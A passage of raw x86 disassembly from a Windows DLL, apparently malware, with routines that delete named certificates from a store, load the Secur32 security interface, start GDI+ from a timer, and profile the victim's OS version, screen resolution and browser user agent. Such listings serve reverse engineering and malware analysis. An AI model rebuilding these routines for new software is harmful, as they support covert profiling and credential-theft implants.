		mov	eax, [ebp+pCertContext]
		push	eax		; pCertContext
		call	ds:CertGetNameStringA
		test	eax, eax
		jz	short loc_1000E940
		cmp	[ebp+Str2], 0
		jz	short loc_1000E929
		mov	ecx, [ebp+Str2]
		push	ecx		; Str2
		lea	edx, [ebp+Str1]
		push	edx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000E927
		mov	eax, [ebp+pCertContext]
		push	eax		; pCertContext
		call	ds:CertDeleteCertificateFromStore
		mov	[ebp+pCertContext], 0


loc_1000E927:				; CODE XREF: sub_1000E866+A8j
		jmp	short loc_1000E940
; ---------------------------------------------------------------------------


loc_1000E929:				; CODE XREF: sub_1000E866+91j
		mov	ecx, [ebp+pCertContext]
		push	ecx		; pCertContext
		call	ds:CertDeleteCertificateFromStore
		mov	[ebp+pCertContext], 0


loc_1000E940:				; CODE XREF: sub_1000E866+8Bj
					; sub_1000E866:loc_1000E927j
		jmp	loc_1000E8AD
; ---------------------------------------------------------------------------


loc_1000E945:				; CODE XREF: sub_1000E866+68j
		push	1		; dwFlags
		mov	edx, [ebp+hCertStore]
		push	edx		; hCertStore
		call	ds:CertCloseStore


loc_1000E954:				; CODE XREF: sub_1000E866+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_1000E866	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	offset aSecur32_dll ; "Secur32.dll"
		lea	eax, [ebp-104h]
		push	eax
		call	strcpy	; strcpy
		add	esp, 8
		lea	ecx, [ebp-104h]
		push	ecx
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	dword_10073A10,	eax
		cmp	dword_10073A10,	0
		jnz	short loc_1000E994
		xor	eax, eax
		jmp	short loc_1000E9D6
; ---------------------------------------------------------------------------


loc_1000E994:				; CODE XREF: .text:1000E98Ej
		push	offset aInitsecurityin ; "InitSecurityInterfaceA"
		mov	edx, dword_10073A10
		push	edx
		call	ds:GetProcAddress	; GetProcAddress
		mov	[ebp-108h], eax
		cmp	dword ptr [ebp-108h], 0
		jnz	short loc_1000E9B9
		xor	eax, eax
		jmp	short loc_1000E9D6
; ---------------------------------------------------------------------------


loc_1000E9B9:				; CODE XREF: .text:1000E9B3j
		call	dword ptr [ebp-108h]
		mov	dword_100739C0,	eax
		cmp	dword_100739C0,	0
		jnz	short loc_1000E9D1
		xor	eax, eax
		jmp	short loc_1000E9D6
; ---------------------------------------------------------------------------


loc_1000E9D1:				; CODE XREF: .text:1000E9CBj
		mov	eax, 1


loc_1000E9D6:				; CODE XREF: .text:1000E992j
					; .text:1000E9B7j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, dword_10073A10
		push	eax
		call	ds:FreeLibrary	; FreeLibrary
		mov	dword_10073A10,	0
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000EA00	proc near		; CODE XREF: TimerFunc+D7p

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E468
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_2C], ecx
		mov	eax, [ebp+var_2C]
		mov	dword ptr [eax], offset	off_1001E460
		mov	ecx, [ebp+var_2C]
		mov	byte ptr [ecx+4], 1
		push	0
		push	0
		push	0
		lea	ecx, [ebp+var_28]
		call	sub_1000EAC0
		mov	[ebp+var_4], 0
		push	0
		lea	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_2C]
		add	eax, 8
		push	eax
		call	j_GdiplusStartup_thunk
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_1000EA80
; ---------------------------------------------------------------------------


loc_1000EA69:				; DATA XREF: .rdata:1001E46Co
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_1000EA6F:				; DATA XREF: .rdata:1001E470o
		mov	esp, [ebp+var_18]
		mov	ecx, [ebp+var_2C]
		mov	byte ptr [ecx+4], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_1000EA80:				; CODE XREF: sub_1000EA00+67j
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_1000EA00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000EA94	proc near		; CODE XREF: TimerFunc+46Cp
					; sub_1000EB00+Ap ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_1001E460
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx+4]
		test	edx, edx
		jz	short loc_1000EABC
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		push	ecx
		call	j_GdiplusShutdown_thunk


loc_1000EABC:				; CODE XREF: sub_1000EA94+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000EA94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000EAC0	proc near		; CODE XREF: sub_1000EA00+42p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 1
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_8]
		mov	[edx+0Ch], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_1000EAC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000EB00	proc near		; DATA XREF: .rdata:off_1001E460o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000EA94
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_1000EB25
		mov	ecx, [ebp+var_4]
		push	ecx		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		add	esp, 4


loc_1000EB25:				; CODE XREF: sub_1000EB00+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000EB00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000EB30(char	*lpString1)

sub_1000EB30	proc near		; CODE XREF: sub_10010623+33p

var_258		= dword	ptr -258h
phkResult	= dword	ptr -254h
var_250		= dword	ptr -250h
cbData		= dword	ptr -24Ch
hKey		= dword	ptr -248h
Data		= byte ptr -244h
var_1F4		= dword	ptr -1F4h
String2		= byte ptr -1F0h
Dst		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
String1		= byte ptr -18Ch
var_108		= dword	ptr -108h
LCData		= byte ptr -104h
var_4		= dword	ptr -4
lpString1	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 258h
		mov	[ebp+cbData], 50h
		push	0FFh		; cchData
		lea	eax, [ebp+LCData]
		push	eax		; lpLCData
		push	1001h		; LCType
		push	400h		; Locale
		call	ds:GetLocaleInfoA	; GetLocaleInfoA
		push	190h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		lea	ecx, [ebp+LCData]
		push	ecx
		push	offset aUserLocaleSSys ; "User Locale: %s\r\n System: "
		mov	edx, [ebp+lpString1]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		push	9Ch		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+Dst], 9Ch
		lea	ecx, [ebp+Dst]
		push	ecx		; lpVersionInformation
		call	ds:GetVersionExA	; GetVersionExA
		mov	[ebp+var_1F4], eax
		cmp	[ebp+var_1F4], 0
		jnz	short loc_1000EBE7
		mov	[ebp+Dst], 94h
		lea	edx, [ebp+Dst]
		push	edx		; lpVersionInformation
		call	ds:GetVersionExA	; GetVersionExA
		test	eax, eax
		jnz	short loc_1000EBE7
		xor	eax, eax
		jmp	loc_1000F133
; ---------------------------------------------------------------------------


loc_1000EBE7:				; CODE XREF: sub_1000EB30+93j
					; sub_1000EB30+AEj
		mov	eax, [ebp+var_190]
		mov	[ebp+var_258], eax
		cmp	[ebp+var_258], 2
		jz	short loc_1000EC01
		jmp	loc_1000F064
; ---------------------------------------------------------------------------


loc_1000EC01:				; CODE XREF: sub_1000EB30+CAj
		cmp	[ebp+var_19C], 5
		jnz	short loc_1000EC22
		cmp	[ebp+var_198], 2
		jnz	short loc_1000EC22
		push	offset aMicrosoftWindo ; "Microsoft Windows Server 2003, "
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EC22:				; CODE XREF: sub_1000EB30+D8j
					; sub_1000EB30+E1j
		cmp	[ebp+var_19C], 5
		jnz	short loc_1000EC43
		cmp	[ebp+var_198], 1
		jnz	short loc_1000EC43
		push	offset aMicrosoftWin_0 ; "Microsoft Windows XP "
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EC43:				; CODE XREF: sub_1000EB30+F9j
					; sub_1000EB30+102j
		cmp	[ebp+var_19C], 5
		jnz	short loc_1000EC64
		cmp	[ebp+var_198], 0
		jnz	short loc_1000EC64
		push	offset aMicrosoftWin_1 ; "Microsoft Windows 2000 "
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EC64:				; CODE XREF: sub_1000EB30+11Aj
					; sub_1000EB30+123j
		cmp	[ebp+var_19C], 4
		ja	short loc_1000EC7C
		push	offset aMicrosoftWin_2 ; "Microsoft Windows NT "
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EC7C:				; CODE XREF: sub_1000EB30+13Bj
		cmp	[ebp+var_1F4], 0
		jz	loc_1000EE55
		mov	edx, [ebp-106h]
		and	edx, 0FFh
		cmp	edx, 1
		jnz	short loc_1000ECEF
		cmp	[ebp+var_19C], 4
		jnz	short loc_1000ECB4
		push	offset aWorkstation4_0 ; "Workstation 4.0 "
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_1000ECEA
; ---------------------------------------------------------------------------


loc_1000ECB4:				; CODE XREF: sub_1000EB30+171j
		mov	ecx, [ebp+var_108]
		and	ecx, 0FFFFh
		and	ecx, 200h
		test	ecx, ecx
		jz	short loc_1000ECDB
		push	offset aHomeEdition ; "Home Edition "
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_1000ECEA
; ---------------------------------------------------------------------------


loc_1000ECDB:				; CODE XREF: sub_1000EB30+198j
		push	offset aProfessional ; "Professional "
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000ECEA:				; CODE XREF: sub_1000EB30+182j
					; sub_1000EB30+1A9j
		jmp	loc_1000EE50
; ---------------------------------------------------------------------------


loc_1000ECEF:				; CODE XREF: sub_1000EB30+168j
		mov	ecx, [ebp+var_108+2]
		and	ecx, 0FFh
		cmp	ecx, 3
		jz	short loc_1000ED15
		mov	edx, [ebp+var_108+2]
		and	edx, 0FFh
		cmp	edx, 2
		jnz	loc_1000EE50


loc_1000ED15:				; CODE XREF: sub_1000EB30+1CEj
		cmp	[ebp+var_19C], 5
		jnz	loc_1000EDB1
		cmp	[ebp+var_198], 2
		jnz	loc_1000EDB1
		mov	eax, [ebp+var_108]
		and	eax, 0FFFFh
		and	eax, 80h
		test	eax, eax
		jz	short loc_1000ED54
		push	offset aDatacenterEdit ; "Datacenter Edition "
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_1000EDAC
; ---------------------------------------------------------------------------


loc_1000ED54:				; CODE XREF: sub_1000EB30+211j
		mov	edx, [ebp+var_108]
		and	edx, 0FFFFh
		and	edx, 2
		test	edx, edx
		jz	short loc_1000ED78
		push	offset aEnterpriseEdit ; "Enterprise Edition "
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_1000EDAC
; ---------------------------------------------------------------------------


loc_1000ED78:				; CODE XREF: sub_1000EB30+235j
		mov	ecx, [ebp+var_108]
		and	ecx, 0FFFFh
		cmp	ecx, 400h
		jnz	short loc_1000ED9D
		push	offset aWebEdition ; "Web Edition "
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_1000EDAC
; ---------------------------------------------------------------------------


loc_1000ED9D:				; CODE XREF: sub_1000EB30+25Aj
		push	offset aStandardEditio ; "Standard Edition "
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EDAC:				; CODE XREF: sub_1000EB30+222j
					; sub_1000EB30+246j ...
		jmp	loc_1000EE50
; ---------------------------------------------------------------------------


loc_1000EDB1:				; CODE XREF: sub_1000EB30+1ECj
					; sub_1000EB30+1F9j
		cmp	[ebp+var_19C], 5
		jnz	short loc_1000EE1E
		cmp	[ebp+var_198], 0
		jnz	short loc_1000EE1E
		mov	ecx, [ebp+var_108]
		and	ecx, 0FFFFh
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_1000EDEA
		push	offset aDatacenterServ ; "Datacenter Server "
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_1000EE1C
; ---------------------------------------------------------------------------


loc_1000EDEA:				; CODE XREF: sub_1000EB30+2A7j
		mov	eax, [ebp+var_108]
		and	eax, 0FFFFh
		and	eax, 2
		test	eax, eax
		jz	short loc_1000EE0D
		push	offset aAdvancedServer ; "Advanced Server "
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_1000EE1C
; ---------------------------------------------------------------------------


loc_1000EE0D:				; CODE XREF: sub_1000EB30+2CAj
		push	offset aServer_0 ; "Server "
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EE1C:				; CODE XREF: sub_1000EB30+2B8j
					; sub_1000EB30+2DBj
		jmp	short loc_1000EE50
; ---------------------------------------------------------------------------


loc_1000EE1E:				; CODE XREF: sub_1000EB30+288j
					; sub_1000EB30+291j
		mov	eax, [ebp+var_108]
		and	eax, 0FFFFh
		and	eax, 2
		test	eax, eax
		jz	short loc_1000EE41
		push	offset aServer4_0Enter ; "Server 4.0, Enterprise Edition "
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_1000EE50
; ---------------------------------------------------------------------------


loc_1000EE41:				; CODE XREF: sub_1000EB30+2FEj
		push	offset aServer4_0 ; "Server 4.0	"
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EE50:				; CODE XREF: sub_1000EB30:loc_1000ECEAj
					; sub_1000EB30+1DFj ...
		jmp	loc_1000EF6D
; ---------------------------------------------------------------------------


loc_1000EE55:				; CODE XREF: sub_1000EB30+153j
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	1		; samDesired
		push	0		; ulOptions
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Produc"...
		push	80000002h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_1000EE80
		xor	eax, eax
		jmp	loc_1000F133
; ---------------------------------------------------------------------------


loc_1000EE80:				; CODE XREF: sub_1000EB30+347j
		lea	ecx, [ebp+cbData]
		push	ecx		; lpcbData
		lea	edx, [ebp+String2]
		push	edx		; lpData
		push	0		; lpType
		push	0		; lpReserved
		push	offset aProducttype ; "ProductType"
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	ds:RegQueryValueExA	; RegQueryValueExA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_1000EEB6
		cmp	[ebp+cbData], 50h
		jbe	short loc_1000EEBD


loc_1000EEB6:				; CODE XREF: sub_1000EB30+37Bj
		xor	eax, eax
		jmp	loc_1000F133
; ---------------------------------------------------------------------------


loc_1000EEBD:				; CODE XREF: sub_1000EB30+384j
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		push	offset aWinnt	; "WINNT"
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jnz	short loc_1000EEEF
		push	offset aWorkstation ; "Workstation "
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EEEF:				; CODE XREF: sub_1000EB30+3AEj
		lea	ecx, [ebp+String2]
		push	ecx		; lpString2
		push	offset aLanmannt ; "LANMANNT"
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jnz	short loc_1000EF14
		push	offset aServer_1 ; "Server "
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EF14:				; CODE XREF: sub_1000EB30+3D3j
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		push	offset aServernt ; "SERVERNT"
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jnz	short loc_1000EF39
		push	offset aAdvancedServ_0 ; "Advanced Server "
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EF39:				; CODE XREF: sub_1000EB30+3F8j
		mov	edx, [ebp+var_198]
		push	edx
		mov	eax, [ebp+var_19C]
		push	eax
		push	offset aD_D	; "%d.%d "
		lea	ecx, [ebp+Data]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+Data]
		push	edx		; lpString2
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000EF6D:				; CODE XREF: sub_1000EB30:loc_1000EE50j
		cmp	[ebp+var_19C], 4
		jnz	loc_1000F02A
		push	offset aServicePack6 ; "Service	Pack 6"
		lea	ecx, [ebp+String1]
		push	ecx		; lpString1
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jnz	loc_1000F02A
		lea	edx, [ebp+phkResult]
		push	edx		; phkResult
		push	1		; samDesired
		push	0		; ulOptions
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		mov	[ebp+var_250], eax
		cmp	[ebp+var_250], 0
		jnz	short loc_1000EFE1
		mov	eax, [ebp+var_194]
		and	eax, 0FFFFh
		push	eax
		push	offset aServicePack6aB ; "Service Pack 6a (Build %d)\n"
		lea	ecx, [ebp+Data]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		jmp	short loc_1000F00A
; ---------------------------------------------------------------------------


loc_1000EFE1:				; CODE XREF: sub_1000EB30+48Cj
		mov	edx, [ebp+var_194]
		and	edx, 0FFFFh
		push	edx
		lea	eax, [ebp+String1]
		push	eax
		push	offset aSBuildD	; "%s (Build %d)\n"
		lea	ecx, [ebp+Data]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h


loc_1000F00A:				; CODE XREF: sub_1000EB30+4AFj
		lea	edx, [ebp+Data]
		push	edx		; lpString2
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		mov	ecx, [ebp+phkResult]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		jmp	short loc_1000F064
; ---------------------------------------------------------------------------


loc_1000F02A:				; CODE XREF: sub_1000EB30+444j
					; sub_1000EB30+45Ej
		mov	edx, [ebp+var_194]
		and	edx, 0FFFFh
		push	edx
		lea	eax, [ebp+String1]
		push	eax
		push	offset aSBuildD_0 ; "%s	(Build %d)\n"
		lea	ecx, [ebp+Data]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+Data]
		push	edx		; lpString2
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000F064:				; CODE XREF: sub_1000EB30+CCj
					; sub_1000EB30+4F8j
		push	1		; nIndex
		call	ds:GetSystemMetrics	; GetSystemMetrics
		push	eax
		push	0		; nIndex
		call	ds:GetSystemMetrics	; GetSystemMetrics
		push	eax
		push	offset aResDxD	; "\nRes: %dx%d"
		lea	ecx, [ebp+Data]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+Data]
		push	edx		; lpString2
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		lea	ecx, [ebp+hKey]
		push	ecx		; phkResult
		push	1		; samDesired
		push	0		; ulOptions
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_100220C4
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_1000F130
		lea	ecx, [ebp+cbData]
		push	ecx		; lpcbData
		lea	edx, [ebp+Data]
		push	edx		; lpData
		push	0		; lpType
		push	0		; lpReserved
		push	offset aUserAgent ; "User Agent"
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	ds:RegQueryValueExA	; RegQueryValueExA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_1000F123
		push	offset aUserAgent_0 ; "\r\nUser	agent:"
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		lea	edx, [ebp+Data]
		push	edx		; lpString2
		mov	eax, [ebp+lpString1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000F123:				; CODE XREF: sub_1000EB30+5D1j
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_1000F130:				; CODE XREF: sub_1000EB30+5A4j
		mov	eax, [ebp+lpString1]


loc_1000F133:				; CODE XREF: sub_1000EB30+B2j
					; sub_1000EB30+34Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_1000EB30	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 0
		mov	dword ptr [ebp-400h], 0
		mov	ecx, 0FEh
		xor	eax, eax
		lea	edi, [ebp-3FCh]
		rep stosd
		push	offset aClose_1	; "close"
		mov	eax, dword_10034260
		mov	ecx, [eax+4]
		push	ecx
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_1000F2A0


loc_1000F17E:				; CODE XREF: .text:1000F29Bj
		mov	edx, [ebp-4]
		cmp	dword_10037024[edx*4], 0
		jz	loc_1000F2A0
		cmp	dword ptr [ebp-4], 40h
		jge	loc_1000F2A0
		push	offset asc_100236CC ; "	"
		lea	eax, [ebp-400h]
		push	eax
		mov	ecx, [ebp-4]
		mov	edx, dword_10037024[ecx*4]
		push	edx
		call	sub_100011DC
		add	esp, 0Ch
		mov	[ebp-404h], eax
		cmp	dword ptr [ebp-404h], 0
		jle	loc_1000F292
		mov	eax, [ebp+8]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp-400h]
		push	eax
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	loc_1000F272
		mov	ecx, [ebp-3FCh]
		push	ecx
		call	ds:atoi	; atoi
		add	esp, 4
		mov	dword_10073DDC,	eax
		mov	edx, dword_10034260
		mov	eax, [edx]
		push	eax
		call	ds:atoi	; atoi
		add	esp, 4
		cmp	dword_10073DDC,	eax
		jle	short loc_1000F250
		push	0
		call	ds:time	; time
		add	esp, 4
		mov	esi, eax
		sub	esi, dword_10073DDC
		mov	ecx, dword_10034260
		mov	edx, [ecx+4]
		push	edx
		call	ds:atoi	; atoi
		add	esp, 4
		cmp	esi, eax
		jle	short loc_1000F250
		mov	dword_10073DDC,	0


loc_1000F250:				; CODE XREF: .text:1000F21Aj
					; .text:1000F244j
		mov	eax, [ebp-400h]
		push	eax
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp-3FCh]
		push	ecx
		call	ds:free	; free
		add	esp, 4
		jmp	short loc_1000F2A0
; ---------------------------------------------------------------------------


loc_1000F272:				; CODE XREF: .text:1000F1E7j
		mov	edx, [ebp-400h]
		push	edx
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp-3FCh]
		push	eax
		call	ds:free	; free
		add	esp, 4


loc_1000F292:				; CODE XREF: .text:1000F1C5j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx
		jmp	loc_1000F17E
; ---------------------------------------------------------------------------


loc_1000F2A0:				; CODE XREF: .text:1000F178j
					; .text:1000F189j ...
		mov	eax, 1
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000F2AB(char	*Str, LPCSTR Str2, int)

sub_1000F2AB	proc near		; CODE XREF: sub_100100FD+7Bp
					; sub_10011E49+112p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
Memory		= dword	ptr -2Ch
var_4		= dword	ptr -4
Str		= dword	ptr  8
Str2		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	[ebp+var_34], 0
		mov	eax, [ebp+Str2]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		cmp	eax, 1
		jnz	short loc_1000F2E1
		mov	ecx, [ebp+Str2]
		push	ecx		; Str2
		mov	edx, [ebp+Str]
		push	edx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	loc_1000F36E
; ---------------------------------------------------------------------------


loc_1000F2E1:				; CODE XREF: sub_1000F2AB+1Aj
		push	offset asc_100236D0 ; "*"
		lea	eax, [ebp+Memory]
		push	eax		; int
		mov	ecx, [ebp+Str2]
		push	ecx		; Source
		call	sub_100011DC
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	[ebp+var_30], 0
		jmp	short loc_1000F30B
; ---------------------------------------------------------------------------


loc_1000F302:				; CODE XREF: sub_1000F2AB+9Bj
		mov	edx, [ebp+var_30]
		add	edx, 1
		mov	[ebp+var_30], edx


loc_1000F30B:				; CODE XREF: sub_1000F2AB+55j
		mov	eax, [ebp+var_30]
		cmp	eax, [ebp+var_4]
		jge	short loc_1000F348
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+ecx*4+Memory]
		push	edx		; SubStr
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000F335
		mov	ecx, [ebp+var_34]
		add	ecx, 1
		mov	[ebp+var_34], ecx


loc_1000F335:				; CODE XREF: sub_1000F2AB+7Fj
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+edx*4+Memory]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		jmp	short loc_1000F302
; ---------------------------------------------------------------------------


loc_1000F348:				; CODE XREF: sub_1000F2AB+66j
		cmp	[ebp+arg_8], 0
		jnz	short loc_1000F361
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_34]
		jnz	short loc_1000F35D
		mov	eax, 1
		jmp	short loc_1000F36E
; ---------------------------------------------------------------------------


loc_1000F35D:				; CODE XREF: sub_1000F2AB+A9j
		xor	eax, eax
		jmp	short loc_1000F36E
; ---------------------------------------------------------------------------


loc_1000F361:				; CODE XREF: sub_1000F2AB+A1j
		cmp	[ebp+arg_8], 1
		jnz	short loc_1000F36C
		mov	eax, [ebp+var_34]
		jmp	short loc_1000F36E
; ---------------------------------------------------------------------------


loc_1000F36C:				; CODE XREF: sub_1000F2AB+BAj
		xor	eax, eax


loc_1000F36E:				; CODE XREF: sub_1000F2AB+31j
					; sub_1000F2AB+B0j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_1000F2AB	endp


